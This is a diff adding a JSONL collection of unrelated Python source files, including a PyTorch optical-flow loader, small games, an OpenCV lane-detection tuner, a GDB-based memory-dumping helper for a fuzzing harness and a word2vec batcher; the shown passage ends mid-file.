diff --git "a/6232.jsonl" "b/6232.jsonl" new file mode 100644--- /dev/null +++ "b/6232.jsonl" @@ -0,0 +1,770 @@ +{"seq_id":"327969242","text":"import os\n\n\ndirectory = r'E:\\PROGRAMMING\\HACKATHONS\\MCGILL_PHYSICS_2020\\SCRIPTS\\augmented'\n\nfor filename in os.listdir(directory):\n if filename.endswith('.txt'):\n base = os.path.splitext(filename)[0]\n os.rename(os.path.join(directory, filename), base + \".xml\")\n print(filename)","sub_path":"rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"189600790","text":"import torch\nimport numpy as np\nfrom PIL import Image\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\nfrom torch.utils.data.dataset import Dataset\nfrom torch.utils.data import DataLoader\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport torch.nn.functional as F\nimport cv2\n\n\n\nrng = np.random.RandomState(2017)\n\n\ndef readFlow(name):\n if name.endswith('.pfm') or name.endswith('.PFM'):\n return readPFM(name)[0][:, :, 0:2]\n\n f = open(name, 'rb')\n\n header = f.read(4)\n if header.decode(\"utf-8\") != 'PIEH':\n raise Exception('Flow file header does not contain PIEH')\n\n width = np.fromfile(f, np.int32, 1).squeeze()\n height = np.fromfile(f, np.int32, 1).squeeze()\n flow = np.fromfile(f, np.float32, width * height * 2).reshape((height, width, 2 ))\n\n return flow.astype(np.float32)\n\n\n'''Just trying to normalized the data \ndef normalizedData(inTensor):\n mean = torch.tensor([0.0484, 0.0043])\n std = torch.tensor([0.4076, 0.0948])\n\n inTensor = (inTensor - mean) / std\n\n # # simple division Normalization\n # inTensor[inTensor > 20.0 ] = 20.0\n # inTensor[ inTensor < -20.0] = -20.0\n # inTensor = torch.div(inTensor, 20.0)\n return inTensor\n\n'''\n\n\ndef Normalize(tensor):\n mean = (0.0484, 0.0043)\n std = (0.4076, 0.0948)\n\n for t, m, s in zip(tensor, mean, std):\n t.sub_(m).div_(s)\n\n return tensor\n\n\ndef np_load_frame(filename, resize_height=256, resize_width=256):\n img = Image.open(filename)\n img_resized = img.resize((resize_width, resize_height),Image.ANTIALIAS)\n img_numpy = np.array(img_resized)\n img_numpy = img_numpy.astype(dtype=np.float32)\n img_numpy = (img_numpy / 127.5) - 1.0\n inImg = torch.from_numpy(img_numpy)\n\n return inImg.permute(2,0,1)\n\n\nclass Datainput(Dataset):\n\n def __init__(self, df):\n\n self.datafile = pd.read_csv(df)\n\n def __len__(self):\n return len(self.datafile)\n\n\n def __getitem__(self, idx):\n '''\n :param idx: pass the index of files\n :return: sample generated randomly\n '''\n\n # Reading Previous Optical flow\n frame1_path = self.datafile.iloc[idx,0]\n frame1 = np_load_frame(frame1_path)\n\n frame2_path = self.datafile.iloc[idx, 1]\n frame2 = np_load_frame(frame2_path)\n\n frame3_path = self.datafile.iloc[idx, 2]\n frame3 = np_load_frame(frame3_path)\n\n # for 4 previous frame\n frame4_path = self.datafile.iloc[idx,3]\n frame4 = np_load_frame(frame4_path)\n\n frame12 = torch.cat((frame1, frame2), 0)\n frame34 = torch.cat((frame3, frame4), 0)\n inputFrame = torch.cat((frame12,frame34),0)\n\n # target optical flow\n flow_path = self.datafile.iloc[idx,4]\n targetFlow = readFlow(flow_path)\n # targetFlow = Normalize(torch.from_numpy(targetFlow))\n targetFlow_tensor = torch.from_numpy(targetFlow)\n targetFlow_arranged = targetFlow_tensor.permute(2,0,1)\n\n\n sample = {'inputFrame': inputFrame.cuda(), 'targetFlow': targetFlow_arranged.cuda()}\n\n return sample\n\n#\n# # # # #\n# data_opt_img = Datainput('data/training_avenue.csv')\n# print(len(data_opt_img))\n#\n# train_loader = torch.utils.data.DataLoader(data_opt_img,batch_size=1, shuffle=True)\n#\n# for k, batch in enumerate(train_loader):\n# print(batch['inputFrame'].size(), batch['targetFlow'].size())\n# print(batch['inputFrame'].max(), batch['inputFrame'].min())\n# print(batch['targetFlow'].max(), batch['targetFlow'].min())\n#\n# if k == 0:\n# break\n\n # if k ==10:\n # break\n #\n\n\n\n\n\n#\n#\n# # Finding out the minimum and maximum value in the Optical flow tensor\n# min = 0\n# max = 0\n# for data in range(0, len(data_opt_img)):\n# inflow = data_opt_img[data]['inFlow']\n# print(\"Data Frame :{} Min:{} Max: {} \".format(data, torch.min(inflow).item(), torch.max(inflow).item()))\n#\n# # if max < torch.max(inflow).item():\n# # max = torch.max(inflow).item()\n# # if min > torch.min(inflow).item():\n# # min = torch.min(inflow).item()\n#\n# # break\n#\n#\n# # print(normValue)\n# # print(' Min value', min)\n# # print(' Max vavlue', max)\n# # print('##################################')\n# # #\n# if data == 100:\n# break\n# train_loader = torch.utils.data.DataLoader(data_opt_img,batch_size=10, shuffle=True)\n#\n# mean = 0.\n# std = 0.\n#\n# nb_samples = 0.\n#\n# for data in train_loader:\n# batch_samples = data['inFlow'].size()\n# print(batch_samples)\n#\n# break\n","sub_path":"unet/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"260690619","text":"# Perfect Table Maker: even the text file has collapsed with uneven tabs and spaces:\n# Code will allign and give a perfect csv file\nimport pandas as pd\nimport csv \n\n\n\n\ndata = pd.read_csv('srce.txt',sep=' ',header = None)\n\ndata.to_csv('source.csv')\ndata.to_csv('source1.csv')\n\n\n\nfin = csv.reader(open('srce.txt', 'rb'), delimiter='\\t')\nfout = open('source.csv', 'w')\nfor row in fin:\n fout.write(','.join(','.join(item.split()) for item in row) + '\\n')\n","sub_path":"Python/perfector.py","file_name":"perfector.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"14955400","text":"import unittest\nfrom Headerbar.get_xpath_func import get_xpath_string\nfrom selenium import webdriver\nfrom pyvirtualdisplay import Display\n\ndisplay = Display(visible=0, size=(1366, 768))\ndisplay.start()\n\nclass AssertLogoPresent(unittest.TestCase):\n def setUp(self):\n self.driver = webdriver.Firefox()\n self.driver.maximize_window()\n self.driver.get('https://www.lybrate.com/')\n def test_logoPresent(self):\n driver = self.driver\n logo_element = driver.find_element_by_xpath(get_xpath_string(\"NavigationBar\",\"Logo\"))\n\n if(logo_element.is_displayed() and logo_element.size is not None):\n print(\"Logo is displayed\")\n else:\n print('Logo is not displayed')\n\n def tearDown(self):\n self.driver.quit()\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"Headerbar/logo_detect.py","file_name":"logo_detect.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"574726666","text":"import csv, sys\nimport csv\nimport json\nimport pandas as pd\nfrom geopy.geocoders import Nominatim\ngeolocator = Nominatim()\n\ndf = pd.read_csv(\"geodata.csv\")\n\nLat = []\nLong = []\naddress = []\n\nfor index,row in df.iterrows():\n location = geolocator.geocode(row[\"Center State\"])\n Lat.append(location.raw['lat'])\n Long.append(location.raw['lon'])\n address.append(location.address)\n\nprint(Lat)\nprint(Long)\nprint(address)\n\nlf = pd.DataFrame(Lat, columns=[\"colummn\"])\nlf.to_csv('list.csv', index=False)\n","sub_path":"Group Project/organ - Copy.py","file_name":"organ - Copy.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"140811241","text":"\nimport random\nimport os\n\n# Variables\ndigitos= '0123456789'\nnumero= ''\nmuertos=0\nheridos=0\nintento= None\nintentos= []\nsalir = False\n\n\n# Presentacion\nos.system('clear')\n\nprint('______________________________________________')\nprint()\nprint(' Juego de Muertos y Heridos ')\nprint(' Consiste en adivinar el numero de 4 dígitos ')\nprint(' Tienes 15 oportunidades ')\nprint(' Pulsa Enter para comenzar ')\nprint()\nprint('______________________________________________')\n\ninput()\n\n# Gererar un número aleatorio de 4 dígitos\nwhile len(numero)<4:\n digito=random.choice(digitos)\n if digito not in numero:\n numero += digito\n\n\n# Bucle principal\nwhile True:\n os.system('clear')\n \n print('********************************')\n print(' MUERTOS Y HERIDOS ')\n print('********************************')\n print(' NUMERO - M - H ')\n print(' ------ - --------- ')\n\n # Imprimir intentos \n for i in range(len(intentos)):\n plantilla = '* {} - {} - {} *'\n print(plantilla.format(intentos[i][0],intentos[i][1],intentos[i][2]))\n \n # Si gana\n if numero == intento:\n print('* Has acertado. Has ganado *')\n print('*Lo has logrado en ', len(intentos), 'intentos *')\n break\n \n # Si pierde por limite de 15 intentos\n if len(intentos) >= 15:\n print('* Se acabaron los intentos. Has perdido *')\n print('* El numero era: ',numero, '*')\n break\n\n # Condiciones del intento del jugador: salir, 4 digitos, solo numeros, no repetidos\n while True:\n intento = input('=> Introduce un intento (\"q\" salir): ')\n if intento == \"q\":\n salir = True\n break \n elif len(intento) < 4 or len(intento)>4:\n print('Debe ser solo de 4 digitos')\n elif intento[0] not in digitos or intento[1] not in digitos or \\\n intento[2] not in digitos or intento[3] not in digitos:\n print('Solo números del 0 al 9')\n elif intento[0] == intento[1] or intento[0] == intento[2] or intento[0] == intento[3] or \\\n intento[1] == intento[2] or intento[1] == intento[3] or intento[2] == intento[3]:\n print('No se pueden repetir numeros')\n else:\n break\n\n # Salir del bucle principal\n if salir:\n print('El número era ',numero)\n break\n \n # Bucle para agregar los muertos y heridos del intento del jugador\n for i in range(4):\n if intento[i] in numero:\n if intento[i] == numero[i]:\n muertos +=1\n else:\n heridos +=1\n \n intentos.append([intento, muertos, heridos])\n muertos=0\n heridos=0\n","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"549693258","text":"from setuptools import setup, find_packages\n\nfrom eacheck import VERSION\n\ninstall_requires = [\n 'lxml>=4.0'\n]\n\ntests_require = []\n\nsetup(\n name=\"eacheck\",\n version=VERSION,\n description=\"Library to valida XML agains EruditArticle Schema. \",\n author=\"Érudit\",\n author_email=\"fabio.batalha@erudit.org\",\n maintainer=\"Fabio Batalha\",\n maintainer_email=\"fabio.batalha@erudit.org\",\n url=\"http://github.com/fabiobatalha/converter\",\n packages=find_packages(),\n include_package_data=True,\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Intended Audience :: Developers\",\n \"Programming Language :: Python :: 3\"\n ],\n dependency_links=[],\n tests_require=tests_require,\n test_suite='tests',\n install_requires=install_requires,\n entry_points={\n 'console_scripts': [\n 'eacheck=eacheck.console_script:main'\n ]\n }\n)\n","sub_path":"pypi_install_script/eacheck-0.1.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"78290614","text":"from pyoo.things import Place, Player\nfrom pyoo.placeloader import interpreter_from_placeloader, PlaceLoader\nfrom pyoo.interpret import PyooVerbNotFound\nfrom pyoo.base import make_verb\n\n\nclass DescriptivePlace(Place):\n def handle_enter(self, player):\n super().handle_enter(player)\n self.do_look()\n\n @make_verb(\"look,l\", \"none\", \"none\", \"none\")\n def look(self, verb_callframe):\n self.do_look()\n\n def do_look(self):\n print(self.name)\n if isinstance(self.description, str):\n print(self.description)\n else:\n for line in self.description:\n print(line)\n\n\nloader = PlaceLoader(open(\"roomtest.txt\", \"r\"), DescriptivePlace)\nplayer = Player(\"player\")\ngame = interpreter_from_placeloader(loader)\nporch = game.lookup_global_object(\"Porch\")[0][1]\nrun = True\ngame.update()\ngame.handle_move(porch, player)\n\n# REPL\nif __name__ == \"__main__\":\n while run:\n cmd = \"\"\n try:\n cmd = input(\">\")\n except EOFError:\n run = False\n if cmd.startswith(\"quit\"):\n run = False\n else:\n try:\n game.interpret(cmd, player)\n except PyooVerbNotFound:\n print(\"I don't understand that.\")\n\n print(\"Bye!\")\n","sub_path":"testrooms.py","file_name":"testrooms.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"500907098","text":"# Importing the required libraries\r\nimport cv2\r\nimport numpy as np\r\n\r\ndef dummy(value): # just a dummy function to give as a parameter for the creation of trackbars\r\n\tpass\r\n\r\ncapture = cv2.VideoCapture(\"road_car_view.mp4\")\r\n# Creating a Window with a name\r\ncv2.namedWindow(\"HueSaturationValue Adjuster\")\r\n# Creating trackbars for the HueSaturationValue\r\n# For Lower HSV..\r\ncv2.createTrackbar(\"Lower_Hue\", \"HueSaturationValue Adjuster\", 0, 255, dummy) # for the Hue\r\ncv2.createTrackbar(\"Lower_Sat\", \"HueSaturationValue Adjuster\", 0, 255, dummy) # for the Saturation\r\ncv2.createTrackbar(\"Lower_Val\", \"HueSaturationValue Adjuster\", 0, 255, dummy) # for the Value\r\n# For Higher HSV\r\ncv2.createTrackbar(\"Higher_Hue\", \"HueSaturationValue Adjuster\", 0, 255, dummy) # for the Hue\r\ncv2.createTrackbar(\"Higher_Sat\", \"HueSaturationValue Adjuster\", 0, 255, dummy) # for the Saturation\r\ncv2.createTrackbar(\"Higher_Val\", \"HueSaturationValue Adjuster\", 0, 255, dummy) # for the Value\r\nwhile True: # Running the infinite loop\r\n\tret, colorFrame = capture.read()\r\n\tif ret is False: # What this does is... When the video is finished, it loads it again, so by this we can keep on running(it is as like as being in a infinite loop)\r\n\t\tcapture = cv2.VideoCapture(\"road_car_view.mp4\")\r\n\t\tcontinue\r\n\t\r\n\tgrayFrame = cv2.cvtColor(colorFrame, cv2.COLOR_BGR2GRAY) # converting into gray-scale as processing can be done easily {just for the purpose of detecting the white middle broken lines}\r\n\thsvFrame = cv2.cvtColor(colorFrame, cv2.COLOR_BGR2HSV) # Converting into HSV as to detect the side's yellow color lanes\r\n\t\r\n\t# Getting the H, S, V values from the trackbars\r\n\t# Getting the lower Hue, Saturation, Value values\r\n\tlowerHue = cv2.getTrackbarPos(\"Lower_Hue\", \"HueSaturationValue Adjuster\")\r\n\tlowerSat = cv2.getTrackbarPos(\"Lower_Sat\", \"HueSaturationValue Adjuster\")\r\n\tlowerVal = cv2.getTrackbarPos(\"Lower_Val\", \"HueSaturationValue Adjuster\")\r\n\t# Getting the higher Hue, Saturation, Value values\r\n\thigherHue = cv2.getTrackbarPos(\"Higher_Hue\", \"HueSaturationValue Adjuster\")\r\n\thigherSat = cv2.getTrackbarPos(\"Higher_Sat\", \"HueSaturationValue Adjuster\")\r\n\thigherVal = cv2.getTrackbarPos(\"Higher_Val\", \"HueSaturationValue Adjuster\")\r\n\t\r\n\tlower_hsv = np.array([lowerHue, lowerSat, lowerVal])\r\n\thigher_hsv = np.array([higherHue, higherSat, higherVal])\r\n\t\r\n\t# Getting the Road borders\r\n\tmaskedImage = cv2.inRange(hsvFrame, lower_hsv, higher_hsv)\r\n\t# Doing the bitwise_and operation, so as to keep only which is required and black the one which is not required\r\n\tresultantImage = cv2.bitwise_and(colorFrame, colorFrame, mask=maskedImage)\r\n\t\r\n\t# Displaying the Results\r\n\tcv2.imshow(\"Original Frame\", colorFrame)\r\n\tcv2.imshow(\"Final Detected Image\", resultantImage)\r\n\tcv2.imshow(\"Masked image\", maskedImage)\r\n\tcv2.imshow(\"HueSaturationValued image\", hsvFrame)\r\n\t\r\n\tif cv2.waitKey(40) == 27:\r\n\t\tlwr_vals = [lowerHue, lowerSat, lowerVal]\r\n\t\thigher_vals = [higherHue, higherSat, higherVal]\r\n\t\tprint(\"The final values are: \")\r\n\t\tprint(\"Lower HSV values : \",lwr_vals)\r\n\t\tprint(\"Higher HSV values : \", higher_vals)\r\n\t\tbreak\r\n\r\ncapture.release()\r\ncv2.destroyAllWindows()","sub_path":"Grounding_roots_of_core/Lesson_XX~by PySource-Road_lane_detection.py","file_name":"Lesson_XX~by PySource-Road_lane_detection.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"162247399","text":"import unittest\nfrom trie import *\nfrom levenshtein import *\n\nclass Test(unittest.TestCase):\n def test_grep(self):\n for word in WORDS:\n trie.insert(word)\n l = Levenshtein()\n res = l.search('grup')\n self.assertEqual(res, 'grep')\n\n def test_ping(self):\n for word in WORDS:\n trie.insert(word)\n l = Levenshtein()\n res = l.search('pinh')\n self.assertEqual(res, 'ping')\n\n def test_ls(self):\n for word in WORDS:\n trie.insert(word)\n l = Levenshtein()\n res = l.search('lss')\n self.assertEqual(res, 'ls')","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"284482997","text":"\"\"\"\n\n Student : Shahreen Shahjahan Psyche\n Time : O(N*2^N)\n Space : O(N)\n\n This code ran for all the test cases in Leetcodee\n\n\n\"\"\"\n\nfrom typing import List\n\nclass Solution:\n def subsets(self, nums: List[int]) -> List[List[int]]:\n \n # edge case\n if not nums:\n return []\n \n # output array\n result = []\n # array that will be used to backtrack the subsets\n temp = []\n \n def helper(nums, pos, temp, result):\n \n # appending the current subset. Copying into a new array\n result.append(list(temp))\n \n # now starting from the current pos and creating the subset until wee reach the last of nums\n for i in range(pos, len(nums)):\n temp.append(nums[i])\n helper(nums, i+1, temp, result)\n temp.pop()\n \n \n helper(nums, 0, temp, result)\n \n return result","sub_path":"Problem1.py","file_name":"Problem1.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"136686044","text":"def is_board_full(board):\r\n for i in range(len(board)):\r\n if board[i] == \"-\":\r\n return\r\n for j in range(len(board)):\r\n board[j] = \"-\"\r\n print(\"TIE. NEW GAME\")\r\n display_board(board)\r\n return\r\n\r\n\r\ndef is_turn_valid(num,board):\r\n if(board[num] == \"-\"):\r\n return True;\r\n return False;\r\n\r\n\r\ndef display_board(board):\r\n print(board[0] + \"|\" + board[1] + \"|\" + board[2])\r\n print(board[3] + \"|\" + board[4] + \"|\" + board[5])\r\n print(board[6] + \"|\" + board[7] + \"|\" + board[8])\r\n\r\n\r\n","sub_path":"board_functions.py","file_name":"board_functions.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"267137171","text":"n = 18\ncount = 9\nprint('You have 9 trials to guess the number')\nfor i in range(1,10):\n num1 = int(input('Guess the number between the range of 10 to 20 : '))\n if (num1 <= 14):\n print('Increase your number by a more difference')\n count = count - 1\n print('Number of guesses left : ',count)\n elif (15<=num1<=17):\n print('Increase your number by a small difference')\n count = count - 1\n print('Number of guesses left : ',count)\n elif (num1 == n):\n print('Congratulations! You have guess the correct number.')\n break\n elif (num1 >n and num1<21):\n print('Decrease your number by a small difference')\n count = count - 1\n print('Number of guesses left : ',count)\nwhile (count == 0):\n print('Game Over! Better Luck Next Time.')\n break\n","sub_path":"guess_the_number.py","file_name":"guess_the_number.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"389472365","text":"# coding:utf8\n__author__ = '613108'\nimport sys\nfrom ms_spider_fw.downLoad.DownLoader import DownLoader\nfrom pyquery import PyQuery as pq\n\nreload(sys)\n# noinspection PyUnresolvedReferences\nsys.setdefaultencoding('utf8')\n\n\ndef brandList():\n DL = DownLoader('http://www.xiu.com/brand.html')\n src = DL.selenium()\n d = pq(src)\n text = d.find('li>dl>dd>a').my_text()\n res = []\n for item in text:\n res.extend(item.split('/'))\n res = map(lambda x: x.replace(' ', ''), res)\n return res\n","sub_path":"luxury_project/luxuryBrand/brandList.py","file_name":"brandList.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"242522800","text":"#!/usr/bin/env python3\nimport os\nimport socket\nimport re\nimport sys\nimport time\nimport shutil\nimport inotify.adapters\nfrom datetime import datetime\nfrom sh import which\nfrom avatar2 import archs, Avatar, GDBTarget\nfrom utils import (\n get_base,\n get_arch,\n all_regs,\n REQUEST_FOLDER,\n STATE_FOLDER,\n REJECTED_ENDING,\n)\n\nGDB_PATH = which(\"gdb\")\n\n\ndef dump(workdir, target, base_address):\n mem = target.read_memory(base_address, 0x1000, raw=True)\n with open(\n os.path.join(workdir, STATE_FOLDER, \"{0:016x}\".format(base_address)), \"wb\"\n ) as f:\n f.write(mem)\n print(\"[*] {}: Dumped 0x{:016x}\".format(datetime.now(), base_address))\n\n\ndef forward_requests(target, workdir, requests_path, output_path):\n filenames = os.listdir(requests_path)\n while len(filenames):\n for filename in filenames:\n base_address = get_base(int(filename, 16))\n try:\n print(\n \"[+] {}: Received request for {:016x}\".format(\n datetime.now(), base_address\n )\n )\n if not os.path.isfile(os.path.join(output_path, str(base_address))):\n dump(workdir, target, base_address)\n # we should restart afl now\n except KeyboardInterrupt as ex:\n print(\"cya\")\n exit(0)\n except Exception as e:\n print(\n \"Could not get memory region at {}: {} (Found mem corruption?)\".format(\n hex(base_address), repr(e)\n )\n )\n with open(\n os.path.join(\n output_path, \"{:016x}{}\".format(base_address, REJECTED_ENDING)\n ),\n \"a\",\n ) as f:\n f.write(repr(e))\n os.remove(os.path.join(requests_path, filename))\n filenames = os.listdir(requests_path)\n\n\ndef main(\n workdir,\n module=None,\n breakoffset=None,\n breakaddress=None,\n reset_state=True,\n arch=\"x64\",\n gdb_port=1234,\n gdb_host=\"localhost\",\n):\n request_path = os.path.join(workdir, REQUEST_FOLDER)\n output_path = os.path.join(workdir, STATE_FOLDER)\n\n if arch != \"x64\":\n raise (\"Unsupported arch\")\n if reset_state:\n try:\n shutil.rmtree(output_path)\n except:\n pass\n try:\n os.makedirs(output_path, exist_ok=True)\n except:\n pass\n\n if module:\n if breakaddress is not None:\n raise (\"Breakaddress and module supplied. They are not compatible.\")\n if breakoffset is None:\n raise (\"Module but no breakoffset specified. Don't know where to break.\")\n\n mem_addr = os.popen(\"./get_mod_addr.sh \" + module).readlines()\n try:\n mem_addr = int(mem_addr[0], 16)\n except ValueError as ex:\n print(\n \"Error decoding module addr. Either module {} has not been loaded or something went wrong with ssh ({})\".format(\n module, ex\n )\n )\n exit(-1)\n print(\"Module \" + module + \" is at memory address \" + hex(mem_addr))\n breakaddress = hex(mem_addr + breakoffset)\n else:\n breakaddress = hex(breakaddress)\n\n avatar = Avatar(\n arch=get_arch(arch), output_directory=os.path.join(workdir, \"avatar\")\n )\n target = avatar.add_target(\n GDBTarget, gdb_ip=gdb_host, gdb_port=gdb_port, gdb_executable=GDB_PATH\n )\n target.init()\n\n target.set_breakpoint(\"*{}\".format(breakaddress))\n print(\"[*] Breakpoint set at {}\".format(breakaddress))\n print(\"[+] waiting for bp hit...\")\n target.cont()\n target.wait()\n\n print(\"[+] hit! dumping registers and memory\")\n\n # dump registers\n for reg in all_regs(get_arch(arch)):\n written = True\n reg_file = os.path.join(output_path, reg)\n with open(reg_file, \"w\") as f:\n try:\n val = target.read_register(reg)\n if isinstance(val, list):\n # Avatar special registers (xmm, ...)\n i32list = val\n val = 0\n for shift, i32 in enumerate(i32list):\n val += i32 << (shift * 32)\n f.write(str(val))\n except Exception as ex:\n # print(\"Ignoring {}: {}\".format(reg, ex))\n written = False\n if not written:\n os.unlink(reg_file)\n\n if not os.path.isdir(request_path):\n print(\"[+] Creating request folder\")\n os.mkdir(request_path)\n\n forward_requests(target, workdir, request_path, output_path)\n print(\"[*] Initial dump complete. Listening for requests from ./harness.py.\")\n\n i = inotify.adapters.Inotify()\n # only readily written files\n i.add_watch(request_path, mask=inotify.constants.IN_CLOSE_WRITE)\n for event in i.event_gen(yield_nones=False):\n # print(\"Request: \", event)\n forward_requests(target, workdir, request_path, output_path)\n\n print(\"[*] Exiting probe_wrapper (keyboard interrupt)\")\n\n\nif __name__ == \"__main__\":\n import config\n\n main(\n module=config.MODULE,\n breakoffset=config.BREAKOFFSET,\n breakaddress=config.BREAKADDR,\n workdir=config.WORKDIR,\n arch=config.ARCH,\n gdb_port=config.GDB_PORT,\n gdb_host=config.GDB_HOST,\n )\n","sub_path":"probe_wrapper.py","file_name":"probe_wrapper.py","file_ext":"py","file_size_in_byte":5471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"346362062","text":"import matplotlib.pyplot as plt\nfrom matplotlib import colors\n\nimport time, numpy, sys, PIL\n\ndef eprint(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\n\ndef keyWait():\n input(\"Press Enter to continue...\")\n\ndef printResult(result):\n index = [32, 64, 128, 256]\n plt.close()\n cnt = 0\n for x in result:\n plt.plot(x, label=str(index[cnt]))\n plt.xlim(0,100)\n # plt.show()\n plt.savefig('batch')\ndef printFPS(step):\n now = time.clock()\n timeElapsed = now - printFPS.lastTime\n stepsDone = step - printFPS.lastStep\n\n eprint(\"FPS:\", stepsDone / timeElapsed)\n\n printFPS.lastTime = now\n printFPS.lastStep = step\n\nprintFPS.lastTime = time.clock()\nprintFPS.lastStep = 0\n\ndef displayBrain(brain, res=25): \n mapV, mapA = mapBrain(brain, res)\n\n plt.close()\n plt.show() \n\n fig = plt.figure(figsize=(5,7))\n fig.add_subplot(211)\n\n plt.imshow(mapV)\n plt.colorbar(orientation='vertical')\n\n fig.add_subplot(212)\n\n cmap = colors.ListedColormap(['yellow', 'blue', 'white', 'red'])\n bounds=[-1.5,-0.5,0.5,1.5,2.5]\n norm = colors.BoundaryNorm(bounds, cmap.N)\n\n plt.imshow(mapA, cmap=cmap, norm=norm) \n cb = plt.colorbar(orientation='vertical', ticks=[-1,0,1,2])\n\n plt.pause(0.001)\n\ndef mapBrain(brain, res):\n mapV = numpy.zeros( (2 * res, 2 * res) )\n mapA = numpy.zeros( (2 * res, 2 * res) )\n\n for i1 in range(2 * res):\n for i2 in range(2 * res):\n s = numpy.array( [ (i1 - res) / res, (i2 - res) / res ] )\n mapV[i1, i2] = numpy.amax(brain.predictOne(s))\t# TODO: more efficient to predict all at once\n mapA[i1, i2] = numpy.argmax(brain.predictOne(s))\n\n return (mapV, mapA)\n\ndef showImage(imgData):\n img = PIL.Image.fromarray(imgData)\n img.show()\n\nclass SumTree:\n write = 0\n\n def __init__(self, capacity):\n self.capacity = capacity\n self.tree = numpy.zeros( 2*capacity - 1 )\n self.data = numpy.zeros( capacity, dtype=object )\n\n def _propagate(self, idx, change):\n parent = (idx - 1) // 2\n\n self.tree[parent] += change\n\n if parent != 0:\n self._propagate(parent, change)\n\n def _retrieve(self, idx, s):\n left = 2 * idx + 1\n right = left + 1\n\n if left >= len(self.tree):\n return idx\n\n if s <= self.tree[left]:\n return self._retrieve(left, s)\n else:\n return self._retrieve(right, s-self.tree[left])\n\n def total(self):\n return self.tree[0]\n\n def add(self, p, data):\n idx = self.write + self.capacity - 1\n\n self.data[self.write] = data\n self.update(idx, p)\n\n self.write += 1\n if self.write >= self.capacity:\n self.write = 0\n\n def update(self, idx, p):\n change = p - self.tree[idx]\n\n self.tree[idx] = p\n self._propagate(idx, change)\n\n def get(self, s):\n idx = self._retrieve(0, s)\n dataIdx = idx - self.capacity + 1\n\n return (idx, self.tree[idx], self.data[dataIdx])\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"271903645","text":"from word2vec.cbow.pytorch.softmax import const\nimport re\nimport random\nimport numpy as np\nimport nltk\nimport jieba\nimport collections\nfrom collections import defaultdict, Counter\n\n\ndef rm_sign(string):\n string = re.sub(\"[\\.\\!_,\\$\\(\\)\\\"\\'\\]\\[!!\\?,。?、~@#¥……&]+\", \"\", string)\n return string\n\n\ndef load_data(corpus_dir='../../../corpus/articles.txt'):\n with open(corpus_dir, 'r') as f:\n for line in f:\n line = line.strip()\n if len(line) == 0:\n continue\n yield jieba.lcut(rm_sign(line))\n\n\nclass Corpus(object):\n def __init__(self, data):\n flatten = lambda l: [item.lower() for sublist in l for item in sublist]\n word_count = Counter(flatten(data)).most_common()\n self.word2idx = {const.U_TOKEN: 0}\n self.n_words = 1\n for word, _ in word_count:\n self.word2idx[word] = self.n_words\n self.n_words += 1\n self.idx2word = dict(zip(self.word2idx.values(), self.word2idx.keys()))\n self.vocab = list(self.word2idx.keys())\n\n # @return batch data\n # @generator\n def batch_data(self):\n batch_size = const.BATCH_SIZE * const.WIN_SIZE\n data = self.vocab\n data_index = 0\n assert batch_size % const.WIN_SIZE == 0\n assert const.WIN_SIZE <= 2 * const.SKIP_WIN\n\n batch = np.ndarray(shape=(batch_size), dtype=np.int32)\n labels = np.ndarray(shape=(batch_size, 1), dtype=np.int32)\n span = 2 * const.SKIP_WIN + 1 # [ const.SKIP_WIN target const.SKIP_WIN ]\n buffers = collections.deque(maxlen=span)\n\n for _ in range(span):\n buffers.append(data[data_index])\n data_index = (data_index + 1) % len(data)\n\n for i in range(batch_size // const.WIN_SIZE):\n\n target = const.SKIP_WIN # target label at the center of the buffers\n targets_to_avoid = [const.SKIP_WIN]\n for j in range(const.WIN_SIZE):\n while target in targets_to_avoid:\n target = random.randint(0, span - 1)\n targets_to_avoid.append(target)\n batch[i * const.WIN_SIZE + j] = self.var_word(buffers[const.SKIP_WIN])[0]\n labels[i * const.WIN_SIZE + j, 0] = self.var_word(buffers[target])[0]\n buffers.append(data[data_index])\n data_index = (data_index + 1) % len(data)\n\n label_CBOW = []\n context_CBOW = []\n for i in range(0, 